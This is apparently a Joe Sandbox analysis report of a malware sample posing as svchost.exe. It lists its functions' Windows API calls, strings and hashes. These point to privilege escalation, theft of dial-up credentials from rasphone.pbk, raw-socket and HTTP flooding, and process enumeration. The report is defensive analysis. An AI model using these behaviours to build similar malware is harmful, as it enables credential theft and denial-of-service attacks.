String ID: $ $ $ $ $ $-$C$C$C$C$C$C$C$C$C$C$C$C$C$C$C$C$D$D$D$E$E$E$E$E$E$M$M$M$M$M$M$N$P$P$P$R$R$S$S$S$S$S$S$S$S$S$S$S$S$S$S$S$S$S$S$S$S$S$T$T$T$T$T$T$T$T$T$T$T$T$T$T$T$W$W$Y$Y$Y$Y$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$\$a$a$a$a$a$a$a$b$c$c$c$c$d$d$d$d$f$i$i$i$i$i$i$i$i$i$l$l$l$l$l$l$l$l$l$l$l$l$l$l$l$l$l$m$m$m$m$m$m$m$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$p$p$p$p$s$s$s$s$u$u$u$u$u$v$v$v$v$v$v$w$y
API String ID: 3510045691-431623420
Opcode ID: c8ea0e25ca8291c90b83265b38c740372acd57ae97cda5b174c2b7731f31fd11
Instruction ID: c008ea17ca88bb83f2a0569529d69a52baae2fa9f7fc1a5520a756d467afeec9
Opcode Fuzzy Hash: c8ea0e25ca8291c90b83265b38c740372acd57ae97cda5b174c2b7731f31fd11
Instruction Fuzzy Hash: 12522D2154D7C0DDE332C66898597DBBED21BB3709F48489DA2DC1B283C2BA4658C77B

Function 0040FDB0 Relevance: 114.1, APIs: 19, Strings: 46, Instructions: 328stringmemoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000400), ref: 0040FDC7

Part of subcall function 00414110: GetCurrentProcess.KERNEL32(00000028,00000000,00000000,?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000), ref: 00414120
Part of subcall function 00414110: OpenProcessToken.ADVAPI32(00000000,?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000,00000000,00000000), ref: 00414127

WTSEnumerateSessionsA.WTSAPI32(00000000,00000000,00000001,?,?), ref: 0040FE0B
GetVersionExA.KERNEL32(?), ref: 0040FE23

Part of subcall function 0040FC60: WTSQuerySessionInformationW.WTSAPI32 ref: 0040FC84

Part of subcall function 0040FC20: WTSQuerySessionInformationA.WTSAPI32(00000000,?,0000000A,?,?,004100A1,?,?,?), ref: 0040FC3F

Part of subcall function 0040FD10: WTSQuerySessionInformationA.WTSAPI32(00000000,?,00000010,?,?,?,?,?,?,?), ref: 0040FD30
Part of subcall function 0040FD10: WTSFreeMemory.WTSAPI32(?,00000000,?,00000010,?,?,?,?,?,?,?), ref: 0040FD50

lstrlenA.KERNEL32(?,?,?,?,?), ref: 004100D3
lstrlenA.KERNEL32(?,?,?,?,?), ref: 004100F5
lstrlenA.KERNEL32(?,?,?,?,?), ref: 00410101
lstrlenA.KERNEL32(?,?,?,?,?), ref: 0041010A
lstrlenA.KERNEL32(?,?,?,?,?), ref: 00410116
LocalSize.KERNEL32(00000000), ref: 00410124
LocalReAlloc.KERNEL32(00000000,00000000,00000042,?,?,?,?), ref: 00410132
lstrlenA.KERNEL32(?,?,?,?,?), ref: 00410143
lstrlenA.KERNEL32(?,?,?,?,?), ref: 00410161
lstrlenA.KERNEL32(?,?,?,?,?), ref: 00410177
lstrlenA.KERNEL32(?,?,?,?,?), ref: 0041019F
lstrlenA.KERNEL32(?,?,?,?,?), ref: 004101B5
lstrlenA.KERNEL32(?,?,?,?,?), ref: 004101D6
lstrlenA.KERNEL32(?,?,?,?,?), ref: 004101EC
lstrlenA.KERNEL32(?,?,?,?,?), ref: 0041020D
LocalReAlloc.KERNEL32(00000000,00000000,00000042), ref: 00410270

Strings

I, xrefs: 0041000B
w, xrefs: 0040FF50
y, xrefs: 0040FF27
I, xrefs: 0040FF99
t, xrefs: 0040FF06
n, xrefs: 0040FF78
t, xrefs: 0041001A
l, xrefs: 0040FFA3
Q, xrefs: 0040FF0B
d, xrefs: 0040FF9E
t, xrefs: 0040FED6
i, xrefs: 00410015
o, xrefs: 0040FFF4
n, xrefs: 00410010
n, xrefs: 0040FEF8
o, xrefs: 0040FF6E
u, xrefs: 0040FF10
n, xrefs: 0040FEC3
n, xrefs: 0040FEF3
SvAtR, xrefs: 00410047
SeDebugPrivilege, xrefs: 0040FDD1, 00410277
d, xrefs: 0040FEDF
n, xrefs: 0040FF73
t, xrefs: 0040FF86
C, xrefs: 0040FEE9
w, xrefs: 0040FFF9
c, xrefs: 0040FF69
r, xrefs: 0040FF1F
o, xrefs: 0040FEEE
AtR, xrefs: 0041002D
LoSvAtR, xrefs: 00410061
D, xrefs: 0040FF5A
d, xrefs: 0040FF8F
D, xrefs: 0040FFEF
i, xrefs: 0040FEA6
v, xrefs: 0040FEAB
o, xrefs: 0040FEBE
C, xrefs: 0040FEB9
c, xrefs: 0040FF81
RDI, xrefs: 00410067
c, xrefs: 0040FED1
n, xrefs: 0040FFFE
n, xrefs: 0040FEC8
i, xrefs: 0040FF5F
c, xrefs: 0040FF01
s, xrefs: 0040FF64

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: lstrlen$Local$AllocInformationQuerySession$Process$CurrentEnumerateFreeMemoryOpenSessionsSizeTokenVersion
String ID: AtR$C$C$D$D$I$I$LoSvAtR$Q$RDI$SeDebugPrivilege$SvAtR$c$c$c$c$d$d$d$i$i$i$l$n$n$n$n$n$n$n$n$o$o$o$o$r$s$t$t$t$t$u$v$w$w$y
API String ID: 3275454331-1820797497
Opcode ID: 69ac0653dadd3e0af63d09370e8d9b08a976cf699f539770aa319773fce94693
Instruction ID: c338d348b93bef31baab77f006ad920f911bf5e5f1de5e656ce125247f292005
Opcode Fuzzy Hash: 69ac0653dadd3e0af63d09370e8d9b08a976cf699f539770aa319773fce94693
Instruction Fuzzy Hash: F0E1043050C3C1CED321CB28C494B9FBFE1ABA6708F48495DE5C847292C7BA9949CB67

Function 00411B00 Relevance: 96.4, APIs: 1, Strings: 54, Instructions: 109processCOMMON

Download Yara Rule

APIs

WinExec.KERNEL32 ref: 00411CCA

Strings

a, xrefs: 00411B52
o, xrefs: 00411C37
u, xrefs: 00411C3C
n, xrefs: 00411B0C
d, xrefs: 00411C4F
l, xrefs: 00411C28
4, xrefs: 00411BE2
o, xrefs: 00411C8D
n, xrefs: 00411B92
a, xrefs: 00411C84
u, xrefs: 00411CA0
n, xrefs: 00411C5E
r, xrefs: 00411C7F
n, xrefs: 00411C03
r, xrefs: 00411C92
d, xrefs: 00411CC0
6, xrefs: 00411BEC
c, xrefs: 00411B57
2, xrefs: 00411BD8
o, xrefs: 00411C19
&, xrefs: 00411BFA
a, xrefs: 00411C4A
p, xrefs: 00411C41
1, xrefs: 00411BD3
r, xrefs: 00411B2A
v, xrefs: 00411B65
&, xrefs: 00411B84
g, xrefs: 00411B33
i, xrefs: 00411B60
a, xrefs: 00411CB6
u, xrefs: 00411BA3
i, xrefs: 00411C63
y, xrefs: 00411B73
/, xrefs: 00411B4D
u, xrefs: 00411BBE
g, xrefs: 00411BB9
&, xrefs: 00411B89
3, xrefs: 00411BDD
a, xrefs: 00411C23
:, xrefs: 00411B6E
g, xrefs: 00411C9B
l, xrefs: 00411C14
m, xrefs: 00411C54
d, xrefs: 00411CBB
g, xrefs: 00411C2D
5, xrefs: 00411BE7
i, xrefs: 00411C59
r, xrefs: 00411C32
u, xrefs: 00411B38
u, xrefs: 00411B1D
c, xrefs: 00411C1E
r, xrefs: 00411BB0
/, xrefs: 00411CB1
&, xrefs: 00411BF5

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Exec
String ID: &$&$&$&$/$/$1$2$3$4$5$6$:$a$a$a$a$a$c$c$d$d$d$g$g$g$g$i$i$i$l$l$m$n$n$n$n$o$o$o$p$r$r$r$r$r$u$u$u$u$u$u$v$y
API String ID: 459137531-3041118241
Opcode ID: ff2c4b5a96feb362e54ec97d843e0820433f61227c6ea0cdbe811243c93bf544
Instruction ID: e99a56cc99874d1bb8ad85f7822ce0473eb6629e394c2a751843363530d2c176
Opcode Fuzzy Hash: ff2c4b5a96feb362e54ec97d843e0820433f61227c6ea0cdbe811243c93bf544
Instruction Fuzzy Hash: FE510C2554E3C1DDE312C668918878FEFD21FB7648E48598DB1C81B393C2AA825CC77B

Function 004029D0 Relevance: 94.8, APIs: 8, Strings: 46, Instructions: 275libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(wininet.dll), ref: 004029E3
GetProcAddress.KERNEL32 ref: 00402C3D
GetProcAddress.KERNEL32(00000000,00000049), ref: 00402C47
GetProcAddress.KERNEL32(00000000,?), ref: 00402C53
GetProcAddress.KERNEL32(00000000,00000048), ref: 00402C62
GetProcAddress.KERNEL32(00000000,Fda), ref: 00402C74
GetProcAddress.KERNEL32(00000000,?), ref: 00402C83
FreeLibrary.KERNEL32(00000000), ref: 00402E01

Strings

R, xrefs: 00402AF9
u, xrefs: 00402B07
c, xrefs: 00402A7E
p, xrefs: 00402AA3
R, xrefs: 00402BF8
s, xrefs: 00402B10
d, xrefs: 00402AF4
IkcaH, xrefs: 00402D2C, 00402D32
H, xrefs: 00402B97
R, xrefs: 00402AB0
p, xrefs: 00402A99
a, xrefs: 00402C9E
p, xrefs: 00402A34
I, xrefs: 00402A46
u, xrefs: 00402ABE
C, xrefs: 00402B58
o, xrefs: 00402B80
I, xrefs: 00402BCC
c, xrefs: 00402CA3
S, xrefs: 00402AE7
H, xrefs: 00402A8C
IkcaH, xrefs: 00402B73
d, xrefs: 00402BAE
H, xrefs: 00402AD5
O, xrefs: 00402A9E
r, xrefs: 00402BE2
a, xrefs: 00402B9F
., xrefs: 00402D5B
O, xrefs: 00402A2F
q, xrefs: 00402B02
s, xrefs: 00402B88
H, xrefs: 00402D4C
Fda, xrefs: 00402C64, 00402C72
<0B, xrefs: 00402D36
r, xrefs: 00402B3B
k, xrefs: 00402CA8
o, xrefs: 00402A6D
p, xrefs: 00402AE2
/, xrefs: 00402D56
P, xrefs: 00402D51
d, xrefs: 00402C0F
wininet.dll, xrefs: 004029DA
a, xrefs: 00402C07
q, xrefs: 00402AB9
s, xrefs: 00402AC7
H, xrefs: 00402C99

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: AddressProc$Library$FreeLoad
String ID: .$/$<0B$C$Fda$H$H$H$H$H$I$I$IkcaH$IkcaH$O$O$P$R$R$R$S$a$a$a$c$c$d$d$d$k$o$o$p$p$p$p$q$q$r$r$s$s$s$u$u$wininet.dll
API String ID: 2449869053-1207120059
Opcode ID: 253fe3cbdb40fb1eee6a4e4895986d5ddce5d3b076f4ea0673ba6221dca277c9
Instruction ID: e3a6ba9cb24a4e5b6c6097af3a89aa07493fcbcbf34560220ec45bd3f1904eca
Opcode Fuzzy Hash: 253fe3cbdb40fb1eee6a4e4895986d5ddce5d3b076f4ea0673ba6221dca277c9
Instruction Fuzzy Hash: 22D1E36114E3C0DDE322C6688854B9FBFE55FE2604F48499EE5C857283C6BA9908C77B

Function 00402E30 Relevance: 68.5, APIs: 16, Strings: 23, Instructions: 207stringsleepthreadCOMMON

Download Yara Rule

APIs

strstr.MSVCRT ref: 00402E94
strstr.MSVCRT ref: 00402EB8
strcspn.MSVCRT ref: 00402EDB
strncpy.MSVCRT ref: 00402EE7
strcspn.MSVCRT ref: 00402EF2
strstr.MSVCRT ref: 00402F01
strcspn.MSVCRT ref: 00402F22
strncpy.MSVCRT ref: 00402F2E
atoi.MSVCRT ref: 00402F38
strcspn.MSVCRT ref: 00402F43
strstr.MSVCRT ref: 00402F53
strcspn.MSVCRT ref: 00402F72
strncpy.MSVCRT ref: 00402F7E
strcspn.MSVCRT ref: 00402F89
Sleep.KERNEL32(00000028), ref: 004030BA
ExitThread.KERNEL32 ref: 004030C7

Strings

Y, xrefs: 00403008
J, xrefs: 00403012
H, xrefs: 0040300D
GET, xrefs: 004030A4
F, xrefs: 00402FFF
&, xrefs: 0040302F
a, xrefs: 00403048
I, xrefs: 00403017
D, xrefs: 00403039
s, xrefs: 0040304D
p, xrefs: 00403052
*, xrefs: 00402FF5
(, xrefs: 0040302A
*, xrefs: 00403025
p, xrefs: 00402E7D
R, xrefs: 00402FFA
R, xrefs: 0040301C
., xrefs: 00403043
^, xrefs: 00403034
F, xrefs: 0040303E
^, xrefs: 00402FED
Cache-Control: no-cacheReferer: www.qq.com, xrefs: 0040309B
h, xrefs: 00402E4C

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: strcspn$strstr$strncpy$ExitSleepThreadatoi
String ID: &$($*$*$.$Cache-Control: no-cacheReferer: www.qq.com$D$F$F$GET$H$I$J$R$R$Y$^$^$a$h$p$p$s
API String ID: 802784597-2430186586
Opcode ID: 337865f2fae7dbd19785eead08bc529cfcc9354f6b1831a748bb7e956d52b7f0
Instruction ID: 1b0da105bdb9259ea1c1050b92e98f35519cfd5e55211938b241711f4bf069d0
Opcode Fuzzy Hash: 337865f2fae7dbd19785eead08bc529cfcc9354f6b1831a748bb7e956d52b7f0
Instruction Fuzzy Hash: EC71E23220C38099D315DA389805B9FBED16FE6744F444A1EF5D5672C2DAAD9B0C83AF

Function 00404240 Relevance: 54.5, APIs: 30, Strings: 1, Instructions: 287stringnetworkthreadCOMMON

Download Yara Rule

APIs

strstr.MSVCRT ref: 0040427E
strstr.MSVCRT ref: 004042B8
strstr.MSVCRT ref: 00404309
strcspn.MSVCRT ref: 0040432C
strncpy.MSVCRT ref: 00404338
strcspn.MSVCRT ref: 00404343
strstr.MSVCRT ref: 00404352
strcspn.MSVCRT ref: 00404373
strncpy.MSVCRT ref: 0040437F
strcspn.MSVCRT ref: 0040438A
strstr.MSVCRT ref: 004043A0
strcspn.MSVCRT ref: 004043BF
strncpy.MSVCRT ref: 004043CB
strcspn.MSVCRT ref: 004043D6
WSASocketA.WS2_32(00000002,00000003,00000001,00000000,00000000,00000001), ref: 00404413
setsockopt.WS2_32 ref: 0040443E
inet_addr.WS2_32(?), ref: 0040446F
inet_addr.WS2_32(?), ref: 0040447A
gethostbyname.WS2_32(?), ref: 00404485
GetTickCount.KERNEL32 ref: 004044B6
time.MSVCRT ref: 004044C3
srand.MSVCRT ref: 004044C9
rand.MSVCRT ref: 00404501
GetTickCount.KERNEL32 ref: 0040454F
sendto.WS2_32(00000000,?,00000027,00000000,?,00000010), ref: 00404589
Sleep.KERNEL32(00000032,?,00000004), ref: 0040459B
closesocket.WS2_32(00000000), ref: 004045A2
WSACleanup.WS2_32 ref: 004045A8
ExitThread.KERNEL32 ref: 004045B0
ExitThread.KERNEL32 ref: 004045B8

Strings

http://, xrefs: 00404258, 004042B2, 004042C4

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: strcspn$strstr$strncpy$CountExitThreadTickinet_addr$CleanupSleepSocketclosesocketgethostbynamerandsendtosetsockoptsrandtime
String ID: http://
API String ID: 2260167626-1121587658
Opcode ID: b4185216082c8908a3bd44878f543f7e9ec1ec1f1f286d80f055e335998065b9
Instruction ID: 53d1a7d735be2f1ec86fc188cff5de5520e6b7be5ffff6f25f1ae64159631b6b
Opcode Fuzzy Hash: b4185216082c8908a3bd44878f543f7e9ec1ec1f1f286d80f055e335998065b9
Instruction Fuzzy Hash: A59117726443006BD314DB349C41BEB77E5AFC8754F404A2EF656932D1EFB89A04879E

Function 00405470 Relevance: 49.2, APIs: 21, Strings: 7, Instructions: 223stringCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000105), ref: 00405489
strchr.MSVCRT ref: 0040549E
lstrcpyA.KERNEL32(00000001), ref: 004054A8
lstrcatA.KERNEL32(?,?), ref: 004054C0
lstrcatA.KERNEL32(?,\Application Data\Microsoft\Network\Connections\pbk\rasphone.pbk), ref: 004054CF
SHGetSpecialFolderPathA.SHELL32(00000000,?,00000023,00000000), ref: 004054DF
wsprintfA.USER32 ref: 004054FF
GetVersionExA.KERNEL32 ref: 0040552B
??2@YAPAXI@Z.MSVCRT ref: 00405551
GetPrivateProfileSectionNamesA.KERNEL32(00000000,00001000,?), ref: 00405587
GetPrivateProfileStringA.KERNEL32(00000000,DialParamsUID,00000000,?,00000100,?), ref: 00405604
lstrcmpA.KERNEL32(?,00000000), ref: 00405629
lstrcpyA.KERNEL32(?,00000200), ref: 00405664
lstrcpyA.KERNEL32(?,00000100), ref: 00405679
GetPrivateProfileStringA.KERNEL32(00000000,PhoneNumber,00000000,?,00000100,?), ref: 004056AD
GetPrivateProfileStringA.KERNEL32(00000000,Device,00000000,?,00000100,?), ref: 004056C5
??3@YAXPAX@Z.MSVCRT ref: 00405714
??3@YAXPAX@Z.MSVCRT ref: 0040571A
??3@YAXPAX@Z.MSVCRT ref: 00405720
lstrlenA.KERNEL32(00000000,?,00000000,?,?), ref: 00405729
??3@YAXPAX@Z.MSVCRT ref: 0040575C

Part of subcall function 00405390: wsprintfA.USER32 ref: 004053FC
Part of subcall function 00405390: LsaFreeMemory.ADVAPI32(?), ref: 0040542A
Part of subcall function 00405390: LsaFreeMemory.ADVAPI32(?), ref: 00405454

Strings

Documents and Settings\, xrefs: 0040548F
PhoneNumber, xrefs: 004056A7
\Application Data\Microsoft\Network\Connections\pbk\rasphone.pbk, xrefs: 004054C9
DialParamsUID, xrefs: 004055FE
Microsoft\Network\Connections\pbk\rasphone.pbk, xrefs: 004054EC
%s\%s, xrefs: 004054F9
Device, xrefs: 004056BF

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: ??3@PrivateProfile$Stringlstrcpy$FreeMemorylstrcatwsprintf$??2@DirectoryFolderNamesPathSectionSpecialVersionWindowslstrcmplstrlenstrchr
String ID: %s\%s$Device$DialParamsUID$Documents and Settings\$Microsoft\Network\Connections\pbk\rasphone.pbk$PhoneNumber$\Application Data\Microsoft\Network\Connections\pbk\rasphone.pbk
API String ID: 4167786638-3033193607
Opcode ID: 6200aea952694246452c550fcf1bd0333bfbb794c2062bfbfe0dde9cdbca7257
Instruction ID: 35e0599e8879b73d78fbadc39da617037731208443bf4fda42ad3154b0e19f78
Opcode Fuzzy Hash: 6200aea952694246452c550fcf1bd0333bfbb794c2062bfbfe0dde9cdbca7257
Instruction Fuzzy Hash: 1181A4B1604345AFD724DF14DC84FEBB3E9EBC8704F004A2EF549A7281DB78A6058B5A

Function 0040A5E0 Relevance: 44.1, APIs: 16, Strings: 9, Instructions: 317registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,00000000,00000000,00020019,?,?,?,?), ref: 0040A64C

Part of subcall function 0040A9F9: RegCloseKey.ADVAPI32(?,0040A790), ref: 0040AA03
Part of subcall function 0040A9F9: RegCloseKey.ADVAPI32(?), ref: 0040AA0C

Strings

[%s], xrefs: 0040A86B
%-24s %-15s %s , xrefs: 0040A965
%-24s %-15s 0x%x(%d) , xrefs: 0040A992
REG_DWORD, xrefs: 0040A986
%-24s %-15s , xrefs: 0040A9B1, 0040A9CB
REG_MULTI_SZ, xrefs: 0040A9A5
REG_BINARY, xrefs: 0040A9BF
REG_EXPAND_SZ, xrefs: 0040A959
REG_SZ, xrefs: 0040A94B

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Close$Open
String ID: %-24s %-15s $%-24s %-15s %s $%-24s %-15s 0x%x(%d) $REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_SZ$[%s]
API String ID: 2976201327-2684303279
Opcode ID: c39eacefc75ce8889dde7efc74308bb899b20b62c682a58eec5126f6f8572916
Instruction ID: 3e32b35946230d3a04d9b641ce636652af0a76668f00a5d44abb98857023313a
Opcode Fuzzy Hash: c39eacefc75ce8889dde7efc74308bb899b20b62c682a58eec5126f6f8572916
Instruction Fuzzy Hash: C9C1A8B2A402189FDB14CF94DC44BEE7779EB88700F508569F615B31C0D7789A54CF99

Function 00413E80 Relevance: 43.9, APIs: 22, Strings: 3, Instructions: 196stringmemoryprocessCOMMON

Download Yara Rule

APIs

Part of subcall function 00414110: GetCurrentProcess.KERNEL32(00000028,00000000,00000000,?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000), ref: 00414120
Part of subcall function 00414110: OpenProcessToken.ADVAPI32(00000000,?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000,00000000,00000000), ref: 00414127

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00413EC9
LocalAlloc.KERNEL32 ref: 00413EF5
GetVersionExA.KERNEL32(?), ref: 00413F29
Process32First.KERNEL32(00000000,?), ref: 00413F40
OpenProcess.KERNEL32(00000410,00000000,00000128,00000000,?), ref: 00413F60
EnumProcessModules.PSAPI(00000000,00000040,00000004,?), ref: 00413FB1
GetModuleFileNameExA.PSAPI(00000000,00000040,?,00000104,00000000,00000040,00000004,?), ref: 00413FD0
lstrlenA.KERNEL32(?), ref: 00414013
lstrlenA.KERNEL32(?), ref: 0041401F
LocalSize.KERNEL32(00000000), ref: 00414029
LocalReAlloc.KERNEL32(00000000,00000000,00000042), ref: 00414037
lstrlenA.KERNEL32(?), ref: 0041404E
lstrlenA.KERNEL32(?), ref: 00414073

Strings

SeDebugPrivilege, xrefs: 00413EB4, 004140DE
QueryFullProcessImageNameA, xrefs: 00413FE2
kernel32.dll, xrefs: 00413FD7

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Processlstrlen$Local$AllocOpen$CreateCurrentEnumFileFirstModuleModulesNameProcess32SizeSnapshotTokenToolhelp32Version
String ID: QueryFullProcessImageNameA$SeDebugPrivilege$kernel32.dll
API String ID: 4012312957-268618110
Opcode ID: 90cd6b56a2810240d1185c9a725281fe261d08d87a9055003baf69bbd1d15de2
Instruction ID: 19943b22255ca434be6e5eb4adbbb36fa1191304421a748ec24b3e4c64d3dbd3
Opcode Fuzzy Hash: 90cd6b56a2810240d1185c9a725281fe261d08d87a9055003baf69bbd1d15de2
Instruction Fuzzy Hash: 32610371644305AFD720DF64DC88AEB77E8FBC8704F00492EFA4597281D778A949CB9A

Function 00402540 Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 246networkCOMMON

Download Yara Rule

APIs

WSASocketA.WS2_32 ref: 004025A3
htons.WS2_32(00000000), ref: 004025D6
htons.WS2_32(00000028), ref: 004025F9
inet_addr.WS2_32(?), ref: 0040262E
htons.WS2_32(00000001), ref: 00402659
htons.WS2_32(00000000), ref: 00402667
htonl.WS2_32(00000001), ref: 0040267D
htons.WS2_32 ref: 0040269A
htons.WS2_32 ref: 004026B6

Strings

8, xrefs: 00402584
%d.%d.%d.%d, xrefs: 004027A2
9, xrefs: 00402572
@, xrefs: 0040260C
6, xrefs: 0040257F
P, xrefs: 00402690
4, xrefs: 00402595
E, xrefs: 004025EE

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: htons$Sockethtonlinet_addr
String ID: %d.%d.%d.%d$4$6$8$9$@$E$P
API String ID: 715571759-2322924518
Opcode ID: 968a7d73563402aebf851ad26f77158c53345bfcafa4c079b03149e304b534cb
Instruction ID: a7bd275eecf7d3a43f240f00f331fbc514af208200c3f4c596d43d2dd31fe0fb
Opcode Fuzzy Hash: 968a7d73563402aebf851ad26f77158c53345bfcafa4c079b03149e304b534cb
Instruction Fuzzy Hash: 4DA1BF7154C3809AE710DF60C8417AFBBE1FFD5308F40082DFA94A72A1D6B59609CB9B

Function 00403B50 Relevance: 38.8, APIs: 15, Strings: 7, Instructions: 266stringsleepprocessCOMMON

Download Yara Rule

APIs

strstr.MSVCRT ref: 00403C05
strstr.MSVCRT ref: 00403C2C
strcspn.MSVCRT ref: 00403C4E
strncpy.MSVCRT ref: 00403C5D
strcspn.MSVCRT ref: 00403C68
wsprintfA.USER32 ref: 00403D47
CreateProcessA.KERNEL32 ref: 00403D95
Sleep.KERNEL32(00001388), ref: 00403DA4
TerminateProcess.KERNEL32(00000000,00000000), ref: 00403DB1

Part of subcall function 00401E40: GetTickCount.KERNEL32 ref: 00401E41
Part of subcall function 00401E40: rand.MSVCRT ref: 00401E49

wsprintfA.USER32 ref: 00403DF7
wsprintfA.USER32 ref: 00403E39
send.WS2_32(00000000,?,?,00000000), ref: 00403E91
closesocket.WS2_32(00000000), ref: 00403E94
Sleep.KERNEL32(0000000A,?,00000000), ref: 00403E98
ExitThread.KERNEL32 ref: 00403EA2

Strings

GET %s HTTP/1.1Content-Type: text/htmlHost: %s:%dAccept: text/html, */*User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01), xrefs: 00403E33
%s %s%s, xrefs: 00403D41
D, xrefs: 00403D54
h, xrefs: 00403BE6
GET %s HTTP/1.1Content-Type: text/htmlHost: %sAccept: text/html, */*User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01), xrefs: 00403DF1
p, xrefs: 00403BEE
:, xrefs: 00403BF9

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

